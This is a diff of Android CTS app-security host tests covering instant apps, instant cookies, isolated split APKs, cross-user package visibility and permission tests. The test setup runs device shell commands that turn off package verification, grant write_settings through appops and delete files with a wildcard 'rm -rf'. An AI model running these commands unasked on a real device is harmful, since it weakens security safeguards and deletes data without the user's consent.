+        StringBuilder cmd = new StringBuilder();
+        cmd.append("appops set --user ");
+        cmd.append(userId);
+        cmd.append(" ");
+        cmd.append(packageName);
+        cmd.append(" android:write_settings allow");
+        getDevice().executeShellCommand(cmd.toString());
+        try {
+            Thread.sleep(2200);
+        } catch (InterruptedException e) {
         }
     }
 
@@ -281,14 +322,6 @@
         getDevice().executeShellCommand("rm -rf /sdcard/MUST_*");
     }
 
-    private int[] createUsersForTest() throws DeviceNotAvailableException {
-        return Utils.createUsersForTest(getDevice());
-    }
-
-    private void removeUsersForTest(int[] users) throws DeviceNotAvailableException {
-        Utils.removeUsersForTest(getDevice(), users);
-    }
-
     private void runDeviceTests(String packageName, String testClassName, int userId)
             throws DeviceNotAvailableException {
         Utils.runDeviceTests(getDevice(), packageName, testClassName, userId);
diff --git a/hostsidetests/appsecurity/src/android/appsecurity/cts/InstantAppUserTest.java b/hostsidetests/appsecurity/src/android/appsecurity/cts/InstantAppUserTest.java
new file mode 100644
index 0000000..4609e8a
--- /dev/null
+++ b/hostsidetests/appsecurity/src/android/appsecurity/cts/InstantAppUserTest.java
@@ -0,0 +1,233 @@
+/*
+ * Copyright (C) 2016 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License
+ */
+
+package android.appsecurity.cts;
+
+import com.android.compatibility.common.tradefed.build.CompatibilityBuildHelper;
+import com.android.tradefed.build.IBuildInfo;
+import com.android.tradefed.device.DeviceNotAvailableException;
+import com.android.tradefed.testtype.DeviceTestCase;
+import com.android.tradefed.testtype.IAbi;
+import com.android.tradefed.testtype.IAbiReceiver;
+import com.android.tradefed.testtype.IBuildReceiver;
+
+import java.util.ArrayList;
+
+/**
+ * Tests for ephemeral packages.
+ */
+public class InstantAppUserTest extends DeviceTestCase
+        implements IAbiReceiver, IBuildReceiver {
+
+    // an application to verify instant/full app per user
+    private static final String USER_APK = "CtsEphemeralTestsUserApp.apk";
+    private static final String USER_PKG = "com.android.cts.userapp";
+
+    private static final String USER_TEST_APK = "CtsEphemeralTestsUserAppTest.apk";
+    private static final String USER_TEST_PKG = "com.android.cts.userapptest";
+
+    private static final String TEST_CLASS = ".ClientTest";
+
+    private static final boolean MATCH_UNINSTALLED = true;
+    private static final boolean MATCH_NORMAL = false;
+
+    private static final int USER_SYSTEM = 0; // From the UserHandle class.
+
+    private String mOldVerifierValue;
+    private IAbi mAbi;
+    private IBuildInfo mBuildInfo;
+    private boolean mSupportsMultiUser;
+    private int mPrimaryUserId;
+    /** Users we shouldn't delete in the tests */
+    private ArrayList<Integer> mFixedUsers;
+    private int[] mTestUser = new int[2];
+
+    @Override
+    public void setAbi(IAbi abi) {
+        mAbi = abi;
+    }
+
+    @Override
+    public void setBuild(IBuildInfo buildInfo) {
+        mBuildInfo = buildInfo;
+    }
+
+    public void setUp() throws Exception {
+        super.setUp();
+
+        assertNotNull(mAbi);
+        assertNotNull(mBuildInfo);
+
+        // This test only runs when we have at least 3 users to work with
+        final int[] users = Utils.prepareMultipleUsers(getDevice(), 3);
+        mSupportsMultiUser = (users.length == 3);
+        if (mSupportsMultiUser) {
+            mPrimaryUserId = getDevice().getPrimaryUserId();
+            mFixedUsers = new ArrayList<>();
+            mFixedUsers.add(mPrimaryUserId);
+            if (mPrimaryUserId != USER_SYSTEM) {
+                mFixedUsers.add(USER_SYSTEM);
+            }
+            getDevice().switchUser(mPrimaryUserId);
+
+            mTestUser[0] = users[1];
+            mTestUser[1] = users[2];
+
+            uninstallTestPackages();
+            installTestPackages();
+        }
+    }
+
+    public void tearDown() throws Exception {
+        if (mSupportsMultiUser) {
+            uninstallTestPackages();
+        }
+        super.tearDown();
+    }
+
+    public void testInstallInstant() throws Exception {
+        if (!mSupportsMultiUser) {
+            return;
+        }
+        installInstantApp(USER_APK);
+        runDeviceTestsAsUser(USER_TEST_PKG, TEST_CLASS, "testQueryInstant", mPrimaryUserId);
+        runDeviceTestsAsUser(USER_TEST_PKG, TEST_CLASS, "testQueryInstant", mTestUser[0]);
+        runDeviceTestsAsUser(USER_TEST_PKG, TEST_CLASS, "testQueryInstant", mTestUser[1]);
+    }
+
+    public void testInstallFull() throws Exception {
+        if (!mSupportsMultiUser) {
+            return;
+        }
+        installApp(USER_APK);
+        runDeviceTestsAsUser(USER_TEST_PKG, TEST_CLASS, "testQueryFull", mPrimaryUserId);
+        runDeviceTestsAsUser(USER_TEST_PKG, TEST_CLASS, "testQueryFull", mTestUser[0]);
+        runDeviceTestsAsUser(USER_TEST_PKG, TEST_CLASS, "testQueryFull", mTestUser[1]);
+    }
+
+    public void testInstallMultiple() throws Exception {
+        if (!mSupportsMultiUser) {
+            return;
+        }
+        installAppAsUser(USER_APK, mPrimaryUserId);
+        installExistingInstantAppAsUser(USER_PKG, mTestUser[0]);
+        installExistingFullAppAsUser(USER_PKG, mTestUser[1]);
+        runDeviceTestsAsUser(USER_TEST_PKG, TEST_CLASS, "testQueryFull", mPrimaryUserId);
+        runDeviceTestsAsUser(USER_TEST_PKG, TEST_CLASS, "testQueryInstant", mTestUser[0]);
+        runDeviceTestsAsUser(USER_TEST_PKG, TEST_CLASS, "testQueryFull", mTestUser[1]);
+    }
+
+    public void testUpgradeExisting() throws Exception {
+        if (!mSupportsMultiUser) {
+            return;
+        }
+        installInstantApp(USER_APK);
+        runDeviceTestsAsUser(USER_TEST_PKG, TEST_CLASS, "testQueryInstant", mPrimaryUserId);
+        runDeviceTestsAsUser(USER_TEST_PKG, TEST_CLASS, "testQueryInstant", mTestUser[0]);
+        runDeviceTestsAsUser(USER_TEST_PKG, TEST_CLASS, "testQueryInstant", mTestUser[1]);
+
+        installExistingFullAppAsUser(USER_PKG, mTestUser[0]);
+        runDeviceTestsAsUser(USER_TEST_PKG, TEST_CLASS, "testQueryInstant", mPrimaryUserId);
+        runDeviceTestsAsUser(USER_TEST_PKG, TEST_CLASS, "testQueryFull", mTestUser[0]);
+        runDeviceTestsAsUser(USER_TEST_PKG, TEST_CLASS, "testQueryInstant", mTestUser[1]);
+
+        installExistingFullAppAsUser(USER_PKG, mTestUser[1]);
+        runDeviceTestsAsUser(USER_TEST_PKG, TEST_CLASS, "testQueryInstant", mPrimaryUserId);
+        runDeviceTestsAsUser(USER_TEST_PKG, TEST_CLASS, "testQueryFull", mTestUser[0]);
+        runDeviceTestsAsUser(USER_TEST_PKG, TEST_CLASS, "testQueryFull", mTestUser[1]);
+    }
+
+    public void testReplaceExisting() throws Exception {
+        if (!mSupportsMultiUser) {
+            return;
+        }
+        installInstantApp(USER_APK);
+        runDeviceTestsAsUser(USER_TEST_PKG, TEST_CLASS, "testQueryInstant", mPrimaryUserId);
+        runDeviceTestsAsUser(USER_TEST_PKG, TEST_CLASS, "testQueryInstant", mTestUser[0]);
+        runDeviceTestsAsUser(USER_TEST_PKG, TEST_CLASS, "testQueryInstant", mTestUser[1]);
+
+        replaceFullAppAsUser(USER_APK, mTestUser[0]);
+        runDeviceTestsAsUser(USER_TEST_PKG, TEST_CLASS, "testQueryInstant", mPrimaryUserId);
+        runDeviceTestsAsUser(USER_TEST_PKG, TEST_CLASS, "testQueryFull", mTestUser[0]);
+        runDeviceTestsAsUser(USER_TEST_PKG, TEST_CLASS, "testQueryInstant", mTestUser[1]);
+
+        replaceFullAppAsUser(USER_APK, mTestUser[1]);
+        runDeviceTestsAsUser(USER_TEST_PKG, TEST_CLASS, "testQueryInstant", mPrimaryUserId);
+        runDeviceTestsAsUser(USER_TEST_PKG, TEST_CLASS, "testQueryFull", mTestUser[0]);
+        runDeviceTestsAsUser(USER_TEST_PKG, TEST_CLASS, "testQueryFull", mTestUser[1]);
+    }
+
+    private void installTestPackages() throws Exception {
+        installApp(USER_TEST_APK);
+    }
+
+    private void uninstallTestPackages() throws Exception {
+        getDevice().uninstallPackage(USER_TEST_PKG);
+        getDevice().uninstallPackage(USER_PKG);
+    }
+
+    private void runDeviceTests(String packageName, String testClassName, String testMethodName)
+            throws DeviceNotAvailableException {
+        Utils.runDeviceTests(getDevice(), packageName, testClassName, testMethodName);
+    }
+
+    private void runDeviceTestsAsUser(String packageName, String testClassName,
+            String testMethodName, int userId)
+            throws DeviceNotAvailableException {
+        Utils.runDeviceTests(getDevice(), packageName, testClassName, testMethodName, userId);
+    }
+
+    private void installApp(String apk) throws Exception {
+        CompatibilityBuildHelper buildHelper = new CompatibilityBuildHelper(mBuildInfo);
+        assertNull(getDevice().installPackage(buildHelper.getTestFile(apk), false));
+    }
+
+    private void installInstantApp(String apk) throws Exception {
+        CompatibilityBuildHelper buildHelper = new CompatibilityBuildHelper(mBuildInfo);
+        assertNull(getDevice().installPackage(buildHelper.getTestFile(apk), false, "--instant"));
+    }
+
+    private void installAppAsUser(String apk, int userId) throws Exception {
+        CompatibilityBuildHelper buildHelper = new CompatibilityBuildHelper(mBuildInfo);
+        assertNull(getDevice().installPackage(buildHelper.getTestFile(apk), false));
+    }
+
+    private void replaceFullAppAsUser(String apk, int userId) throws Exception {
+        CompatibilityBuildHelper buildHelper = new CompatibilityBuildHelper(mBuildInfo);
+        assertNull(getDevice().installPackageForUser(
+                buildHelper.getTestFile(apk), true, userId, "--full"));
+    }
+
+    private void installExistingInstantAppAsUser(String packageName, int userId) throws Exception {
+        final String installString =
+                "Package " + packageName + " installed for user: " + userId + "\n";
+        CompatibilityBuildHelper buildHelper = new CompatibilityBuildHelper(mBuildInfo);
+        assertEquals(installString, getDevice().executeShellCommand(
+                "cmd package install-existing --instant"
+                        + " --user " + Integer.toString(userId)
+                        + " " + packageName));
+    }
+
+    private void installExistingFullAppAsUser(String packageName, int userId) throws Exception {
+        final String installString =
+                "Package " + packageName + " installed for user: " + userId + "\n";
+        CompatibilityBuildHelper buildHelper = new CompatibilityBuildHelper(mBuildInfo);
+        assertEquals(installString, getDevice().executeShellCommand(
+                "cmd package install-existing --full"
+                        + " --user " + Integer.toString(userId)
+                        + " " + packageName));
+    }
+}
diff --git a/hostsidetests/appsecurity/src/android/appsecurity/cts/InstantCookieHostTest.java b/hostsidetests/appsecurity/src/android/appsecurity/cts/InstantCookieHostTest.java
new file mode 100644
index 0000000..fd599ea
--- /dev/null
+++ b/hostsidetests/appsecurity/src/android/appsecurity/cts/InstantCookieHostTest.java
@@ -0,0 +1,105 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.appsecurity.cts;
+
+import com.android.compatibility.common.tradefed.build.CompatibilityBuildHelper;
+import com.android.tradefed.build.IBuildInfo;
+import com.android.tradefed.device.DeviceNotAvailableException;
+import com.android.tradefed.testtype.DeviceTestCase;
+import com.android.tradefed.testtype.IBuildReceiver;
+
+/**
+ * Tests for the instant cookie APIs
+ */
+public class InstantCookieHostTest extends DeviceTestCase implements IBuildReceiver {
+    private static final String INSTANT_COOKIE_APP_APK = "CtsInstantCookieApp.apk";
+    private static final String INSTANT_COOKIE_APP_PKG = "test.instant.cookie";
+
+    private CompatibilityBuildHelper mBuildHelper;
+
+    @Override
+    public void setBuild(IBuildInfo buildInfo) {
+        mBuildHelper = new CompatibilityBuildHelper(buildInfo);
+    }
+
+    @Override
+    protected void setUp() throws Exception {
+        super.setUp();
+
+        Utils.prepareSingleUser(getDevice());
+        uninstallPackage(INSTANT_COOKIE_APP_PKG);
+        clearUserData(INSTANT_COOKIE_APP_PKG);
+    }
+
+    @Override
+    protected void tearDown() throws Exception {
+        uninstallPackage(INSTANT_COOKIE_APP_PKG);
+    }
+
+    public void testCookieUpdateAndRetrieval() throws Exception {
+        assertNull(installPackage(INSTANT_COOKIE_APP_APK, false, true));
+        runDeviceTests(INSTANT_COOKIE_APP_PKG, "test.instant.cookie.CookieTest",
+                "testCookieUpdateAndRetrieval");
+    }
+
+    public void testCookiePersistedAcrossInstantInstalls() throws Exception {
+        assertNull(installPackage(INSTANT_COOKIE_APP_APK, false, true));
+        runDeviceTests(INSTANT_COOKIE_APP_PKG, "test.instant.cookie.CookieTest",
+                "testCookiePersistedAcrossInstantInstalls1");
+        uninstallPackage(INSTANT_COOKIE_APP_PKG);
+        assertNull(installPackage(INSTANT_COOKIE_APP_APK, false, true));
+        runDeviceTests(INSTANT_COOKIE_APP_PKG, "test.instant.cookie.CookieTest",
+                "testCookiePersistedAcrossInstantInstalls2");
+    }
+
+    public void testCookiePersistedUpgradeFromInstant() throws Exception {
+        assertNull(installPackage(INSTANT_COOKIE_APP_APK, false, true));
+        runDeviceTests(INSTANT_COOKIE_APP_PKG, "test.instant.cookie.CookieTest",
+                "testCookiePersistedUpgradeFromInstant1");
+        assertNull(installPackage(INSTANT_COOKIE_APP_APK, true, false));
+        runDeviceTests(INSTANT_COOKIE_APP_PKG, "test.instant.cookie.CookieTest",
+                "testCookiePersistedUpgradeFromInstant2");
+    }
+
+    public void testCookieResetOnNonInstantReinstall() throws Exception {
+        assertNull(installPackage(INSTANT_COOKIE_APP_APK, false, false));
+        runDeviceTests(INSTANT_COOKIE_APP_PKG, "test.instant.cookie.CookieTest",
+                "testCookieResetOnNonInstantReinstall1");
+        uninstallPackage(INSTANT_COOKIE_APP_PKG);
+        assertNull(installPackage(INSTANT_COOKIE_APP_APK, true, false));
+        runDeviceTests(INSTANT_COOKIE_APP_PKG, "test.instant.cookie.CookieTest",
+                "testCookieResetOnNonInstantReinstall2");
+    }
+
+    private String clearUserData(String packageName) throws DeviceNotAvailableException {
+        return getDevice().executeShellCommand("pm clear " + packageName);
+    }
+
+    private String installPackage(String apk, boolean replace, boolean instant) throws Exception {
+        return getDevice().installPackage(mBuildHelper.getTestFile(apk), replace,
+                instant ? "--instant" : "--full");
+    }
+
+    private String uninstallPackage(String packageName) throws DeviceNotAvailableException {
+        return getDevice().uninstallPackage(packageName);
+    }
+
+    private void runDeviceTests(String packageName, String testClassName, String testMethodName)
+            throws DeviceNotAvailableException {
+        Utils.runDeviceTests(getDevice(), packageName, testClassName, testMethodName);
+    }
+}
diff --git a/hostsidetests/appsecurity/src/android/appsecurity/cts/IsolatedSplitsTests.java b/hostsidetests/appsecurity/src/android/appsecurity/cts/IsolatedSplitsTests.java
new file mode 100644
index 0000000..8795fe8
--- /dev/null
+++ b/hostsidetests/appsecurity/src/android/appsecurity/cts/IsolatedSplitsTests.java
@@ -0,0 +1,131 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License"); you may not
+ * use this file except in compliance with the License. You may obtain a copy
+ * of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS, WITHOUT
+ * WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the
+ * License for the specific language governing permissions and limitations
+ * under the License.
+ */
+package android.appsecurity.cts;
+
+import com.android.tradefed.build.IBuildInfo;
+import com.android.tradefed.testtype.DeviceTestCase;
+import com.android.tradefed.testtype.IBuildReceiver;
+
+public class IsolatedSplitsTests extends DeviceTestCase implements IBuildReceiver {
+    private static final String PKG = "com.android.cts.isolatedsplitapp";
+    private static final String TEST_CLASS = PKG + ".SplitAppTest";
+
+    /* The feature hierarchy looks like this:
+
+        APK_BASE <- APK_FEATURE_A <- APK_FEATURE_B
+            ^------ APK_FEATURE_C
+
+     */
+    private static final String APK_BASE = "CtsIsolatedSplitApp.apk";
+    private static final String APK_BASE_pl = "CtsIsolatedSplitApp_pl.apk";
+    private static final String APK_FEATURE_A = "CtsIsolatedSplitAppFeatureA.apk";
+    private static final String APK_FEATURE_A_pl = "CtsIsolatedSplitAppFeatureA_pl.apk";
+    private static final String APK_FEATURE_B = "CtsIsolatedSplitAppFeatureB.apk";
+    private static final String APK_FEATURE_B_pl = "CtsIsolatedSplitAppFeatureB_pl.apk";
+    private static final String APK_FEATURE_C = "CtsIsolatedSplitAppFeatureC.apk";
+    private static final String APK_FEATURE_C_pl = "CtsIsolatedSplitAppFeatureC_pl.apk";
+
+    private IBuildInfo mBuildInfo;
+
+    @Override
+    protected void setUp() throws Exception {
+        super.setUp();
+
+        Utils.prepareSingleUser(getDevice());
+        getDevice().uninstallPackage(PKG);
+    }
+
+    @Override
+    protected void tearDown() throws Exception {
+        super.tearDown();
+        getDevice().uninstallPackage(PKG);
+    }
+
+    public void testInstallBase() throws Exception {
+        new InstallMultiple().addApk(APK_BASE).run();
+        Utils.runDeviceTests(getDevice(), PKG, TEST_CLASS, "shouldLoadDefault");
+    }
+
+    public void testInstallBaseAndConfigSplit() throws Exception {
+        new InstallMultiple().addApk(APK_BASE).addApk(APK_BASE_pl).run();
+        Utils.runDeviceTests(getDevice(), PKG, TEST_CLASS, "shouldLoadPolishLocale");
+    }
+
+    public void testInstallMissingDependency() throws Exception {
+        new InstallMultiple().addApk(APK_BASE).addApk(APK_FEATURE_B).runExpectingFailure();
+    }
+
+    public void testInstallOneFeatureSplit() throws Exception {
+        new InstallMultiple().addApk(APK_BASE).addApk(APK_FEATURE_A).run();
+        Utils.runDeviceTests(getDevice(), PKG, TEST_CLASS, "shouldLoadDefault");
+        Utils.runDeviceTests(getDevice(), PKG, TEST_CLASS, "shouldLoadFeatureADefault");
+        Utils.runDeviceTests(getDevice(), PKG, TEST_CLASS, "shouldLoadFeatureAReceivers");
+    }
+
+    public void testInstallOneFeatureSplitAndConfigSplits() throws Exception {
+        new InstallMultiple().addApk(APK_BASE).addApk(APK_FEATURE_A).addApk(APK_BASE_pl)
+                .addApk(APK_FEATURE_A_pl).run();
+        Utils.runDeviceTests(getDevice(), PKG, TEST_CLASS, "shouldLoadPolishLocale");
+        Utils.runDeviceTests(getDevice(), PKG, TEST_CLASS, "shouldLoadFeatureAPolishLocale");
+    }
+
+    public void testInstallDependentFeatureSplits() throws Exception {
+        new InstallMultiple().addApk(APK_BASE).addApk(APK_FEATURE_A).addApk(APK_FEATURE_B).run();
+        Utils.runDeviceTests(getDevice(), PKG, TEST_CLASS, "shouldLoadDefault");
+        Utils.runDeviceTests(getDevice(), PKG, TEST_CLASS, "shouldLoadFeatureADefault");
+        Utils.runDeviceTests(getDevice(), PKG, TEST_CLASS, "shouldLoadFeatureBDefault");
+        Utils.runDeviceTests(getDevice(), PKG, TEST_CLASS, "shouldLoadFeatureAAndBReceivers");
+    }
+
+    public void testInstallDependentFeatureSplitsAndConfigSplits() throws Exception {
+        new InstallMultiple().addApk(APK_BASE).addApk(APK_FEATURE_A).addApk(APK_FEATURE_B)
+                .addApk(APK_BASE_pl).addApk(APK_FEATURE_A_pl).addApk(APK_FEATURE_B_pl).run();
+        Utils.runDeviceTests(getDevice(), PKG, TEST_CLASS, "shouldLoadPolishLocale");
+        Utils.runDeviceTests(getDevice(), PKG, TEST_CLASS, "shouldLoadFeatureAPolishLocale");
+        Utils.runDeviceTests(getDevice(), PKG, TEST_CLASS, "shouldLoadFeatureBPolishLocale");
+    }
+
+    public void testInstallAllFeatureSplits() throws Exception {
+        new InstallMultiple().addApk(APK_BASE).addApk(APK_FEATURE_A).addApk(APK_FEATURE_B)
+                .addApk(APK_FEATURE_C).run();
+        Utils.runDeviceTests(getDevice(), PKG, TEST_CLASS, "shouldLoadDefault");
+        Utils.runDeviceTests(getDevice(), PKG, TEST_CLASS, "shouldLoadFeatureADefault");
+        Utils.runDeviceTests(getDevice(), PKG, TEST_CLASS, "shouldLoadFeatureBDefault");
+        Utils.runDeviceTests(getDevice(), PKG, TEST_CLASS, "shouldLoadFeatureCDefault");
+        Utils.runDeviceTests(getDevice(), PKG, TEST_CLASS, "shouldLoadFeatureAAndBAndCReceivers");
+    }
+
+    public void testInstallAllFeatureSplitsAndConfigSplits() throws Exception {
+        new InstallMultiple().addApk(APK_BASE).addApk(APK_FEATURE_A).addApk(APK_FEATURE_B)
+                .addApk(APK_FEATURE_C).addApk(APK_BASE_pl).addApk(APK_FEATURE_A_pl)
+                .addApk(APK_FEATURE_C_pl).run();
+        Utils.runDeviceTests(getDevice(), PKG, TEST_CLASS, "shouldLoadDefault");
+        Utils.runDeviceTests(getDevice(), PKG, TEST_CLASS, "shouldLoadFeatureADefault");
+        Utils.runDeviceTests(getDevice(), PKG, TEST_CLASS, "shouldLoadFeatureBDefault");
+        Utils.runDeviceTests(getDevice(), PKG, TEST_CLASS, "shouldLoadFeatureCDefault");
+    }
+
+    @Override
+    public void setBuild(IBuildInfo buildInfo) {
+        mBuildInfo = buildInfo;
+    }
+
+    private class InstallMultiple extends BaseInstallMultiple<InstallMultiple> {
+        public InstallMultiple() {
+            super(getDevice(), mBuildInfo, null);
+        }
+    }
+}
diff --git a/hostsidetests/appsecurity/src/android/appsecurity/cts/KeySetHostTest.java b/hostsidetests/appsecurity/src/android/appsecurity/cts/KeySetHostTest.java
index 53a54dd..3574191 100644
--- a/hostsidetests/appsecurity/src/android/appsecurity/cts/KeySetHostTest.java
+++ b/hostsidetests/appsecurity/src/android/appsecurity/cts/KeySetHostTest.java
@@ -16,7 +16,7 @@
 
 package android.appsecurity.cts;
 
-import com.android.cts.migration.MigrationHelper;
+import com.android.compatibility.common.tradefed.build.CompatibilityBuildHelper;
 import com.android.ddmlib.Log;
 import com.android.ddmlib.Log.LogLevel;
 import com.android.ddmlib.testrunner.RemoteAndroidTestRunner;
@@ -101,7 +101,8 @@
     private static final String LOG_TAG = "AppsecurityHostTests";
 
     private File getTestAppFile(String fileName) throws FileNotFoundException {
-        return MigrationHelper.getTestFile(mCtsBuild, fileName);
+        CompatibilityBuildHelper buildHelper = new CompatibilityBuildHelper(mCtsBuild);
+        return buildHelper.getTestFile(fileName);
     }
 
     /**
@@ -235,10 +236,13 @@
     }
 
     @Override
-        protected void setUp() throws Exception {
+    protected void setUp() throws Exception {
         super.setUp();
-        mDevice = getDevice();
+
+        Utils.prepareSingleUser(getDevice());
         assertNotNull(mCtsBuild);
+
+        mDevice = getDevice();
     }
 
     /**
diff --git a/hostsidetests/appsecurity/src/android/appsecurity/cts/PackageVisibilityTest.java b/hostsidetests/appsecurity/src/android/appsecurity/cts/PackageVisibilityTest.java
new file mode 100644
index 0000000..033f257
--- /dev/null
+++ b/hostsidetests/appsecurity/src/android/appsecurity/cts/PackageVisibilityTest.java
@@ -0,0 +1,132 @@
+/*
+ * Copyright (C) 2016 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License
+ */
+
+package android.appsecurity.cts;
+
+import com.android.tradefed.device.DeviceNotAvailableException;
+
+/**
+ * Tests for visibility of packages installed in one user, in a different user.
+ */
+public class PackageVisibilityTest extends BaseAppSecurityTest {
+
+    private static final String TINY_APK = "CtsPkgInstallTinyApp.apk";
+    private static final String TINY_PKG = "android.appsecurity.cts.tinyapp";
+
+    private static final String TEST_APK = "CtsPkgAccessApp.apk";
+    private static final String TEST_PKG = "com.android.cts.packageaccessapp";
+
+    private static final boolean MATCH_UNINSTALLED = true;
+    private static final boolean MATCH_NORMAL = false;
+
+    private int[] mUsers;
+    private String mOldVerifierValue;
+
+    public void setUp() throws Exception {
+        super.setUp();
+
+        mUsers = Utils.prepareMultipleUsers(getDevice());
+        mOldVerifierValue =
+                getDevice().executeShellCommand("settings get global package_verifier_enable");
+        getDevice().executeShellCommand("settings put global package_verifier_enable 0");
+        getDevice().uninstallPackage(TEST_PKG);
+        getDevice().uninstallPackage(TINY_PKG);
+        installTestAppForUser(TEST_APK, mPrimaryUserId);
+    }
+
+    public void tearDown() throws Exception {
+        getDevice().uninstallPackage(TEST_PKG);
+        getDevice().uninstallPackage(TINY_PKG);
+        getDevice().executeShellCommand("settings put global package_verifier_enable "
+                + mOldVerifierValue);
+        super.tearDown();
+    }
+
+    public void testUninstalledPackageVisibility() throws Exception {
+        if (!mSupportsMultiUser) {
+            return;
+        }
+
+        int userId = mUsers[1];
+        assertTrue(userId > 0);
+        getDevice().startUser(userId);
+        installTestAppForUser(TEST_APK, userId);
+        installTestAppForUser(TEST_APK, mPrimaryUserId);
+
+        installTestAppForUser(TINY_APK, mPrimaryUserId);
+
+        // It is visible for the installed user, using shell commands
+        assertTrue(isAppVisibleForUser(TINY_PKG, mPrimaryUserId, MATCH_NORMAL));
+        assertTrue(isAppVisibleForUser(TINY_PKG, mPrimaryUserId, MATCH_UNINSTALLED));
+
+        // Try the same from an app
+        Utils.runDeviceTests(getDevice(), TEST_PKG,
+                ".PackageAccessTest", "testPackageAccess_inUser", mPrimaryUserId);
+        Utils.runDeviceTests(getDevice(), TEST_PKG,
+                ".PackageAccessTest", "testPackageAccess_inUserUninstalled", mPrimaryUserId);
+
+        // It is not visible for the other user using shell commands
+        assertFalse(isAppVisibleForUser(TINY_PKG, userId, MATCH_NORMAL));
+        assertFalse(isAppVisibleForUser(TINY_PKG, userId, MATCH_UNINSTALLED));
+
+        // Try the same from an app
+        Utils.runDeviceTests(getDevice(), TEST_PKG,
+                ".PackageAccessTest", "testPackageAccess_notInOtherUser", userId);
+        Utils.runDeviceTests(getDevice(), TEST_PKG,
+                ".PackageAccessTest", "testPackageAccess_notInOtherUserUninstalled", userId);
+
+        Utils.runDeviceTests(getDevice(), TEST_PKG,
+                ".PackageAccessTest", "testPackageAccess_getPackagesCantSeeTiny", userId);
+
+        getDevice().uninstallPackage(TINY_PKG);
+
+        // Install for the new user
+        installTestAppForUser(TINY_APK, userId);
+
+        // It is visible for the installed user
+        assertTrue(isAppVisibleForUser(TINY_PKG, userId, MATCH_NORMAL));
+        assertTrue(isAppVisibleForUser(TINY_PKG, userId, MATCH_UNINSTALLED));
+
+        // It is not visible for the other user
+        assertFalse(isAppVisibleForUser(TINY_PKG, mPrimaryUserId, MATCH_NORMAL));
+        assertFalse(isAppVisibleForUser(TINY_PKG, mPrimaryUserId, MATCH_UNINSTALLED));
+
+        // Uninstall with keep data
+        uninstallWithKeepDataForUser(TINY_PKG, userId);
+
+        // It is visible for the installed user, but only if match uninstalled
+        assertFalse(isAppVisibleForUser(TINY_PKG, userId, MATCH_NORMAL));
+        assertTrue(isAppVisibleForUser(TINY_PKG, userId, MATCH_UNINSTALLED));
+
+        Utils.runDeviceTests(getDevice(), TEST_PKG,
+                ".PackageAccessTest", "testPackageAccess_getPackagesCanSeeTiny", userId);
+
+        Utils.runDeviceTests(getDevice(), TEST_PKG,
+                ".PackageAccessTest", "testPackageAccess_notInOtherUserUninstalled",
+                mPrimaryUserId);
+        Utils.runDeviceTests(getDevice(), TEST_PKG,
+                ".PackageAccessTest", "testPackageAccess_getPackagesCantSeeTiny", mPrimaryUserId);
+
+        getDevice().uninstallPackage(TINY_PKG);
+        getDevice().uninstallPackage(TEST_PKG);
+    }
+
+    protected void uninstallWithKeepDataForUser(String packageName, int userId)
+            throws DeviceNotAvailableException {
+        final String command = "pm uninstall -k --user " + userId + " " + packageName;
+        getDevice().executeShellCommand(command);
+    }
+}
diff --git a/hostsidetests/appsecurity/src/android/appsecurity/cts/PermissionsHostTest.java b/hostsidetests/appsecurity/src/android/appsecurity/cts/PermissionsHostTest.java
index 072a533..cc42e9a 100644
--- a/hostsidetests/appsecurity/src/android/appsecurity/cts/PermissionsHostTest.java
+++ b/hostsidetests/appsecurity/src/android/appsecurity/cts/PermissionsHostTest.java
@@ -16,7 +16,7 @@
 
 package android.appsecurity.cts;
 
-import com.android.cts.migration.MigrationHelper;
+import com.android.compatibility.common.tradefed.build.CompatibilityBuildHelper;
 import com.android.tradefed.build.IBuildInfo;
 import com.android.tradefed.device.DeviceNotAvailableException;
 import com.android.tradefed.testtype.DeviceTestCase;
@@ -29,14 +29,20 @@
  * dynamic granting and behavior of legacy apps.
  */
 public class PermissionsHostTest extends DeviceTestCase implements IAbiReceiver, IBuildReceiver {
-    private static final String PKG = "com.android.cts.usepermission";
+    private static final String USES_PERMISSION_PKG = "com.android.cts.usepermission";
+    private static final String ESCALATE_PERMISSION_PKG = "com.android.cts.escalate.permission";
 
     private static final String APK_22 = "CtsUsePermissionApp22.apk";
     private static final String APK_23 = "CtsUsePermissionApp23.apk";
     private static final String APK_24 = "CtsUsePermissionApp24.apk";
 
+    private static final String APK_DECLARE_NON_RUNTIME_PERMISSIONS =
+            "CtsDeclareNonRuntimePermissions.apk";
+    private static final String APK_ESCLATE_TO_RUNTIME_PERMISSIONS =
+            "CtsEscalateToRuntimePermissions.apk";
+
     private IAbi mAbi;
-    private IBuildInfo mCtsBuild;
+    private CompatibilityBuildHelper mBuildHelper;
 
     @Override
     public void setAbi(IAbi abi) {
@@ -45,249 +51,259 @@
 
     @Override
     public void setBuild(IBuildInfo buildInfo) {
-        mCtsBuild = buildInfo;
+        mBuildHelper = new CompatibilityBuildHelper(buildInfo);
     }
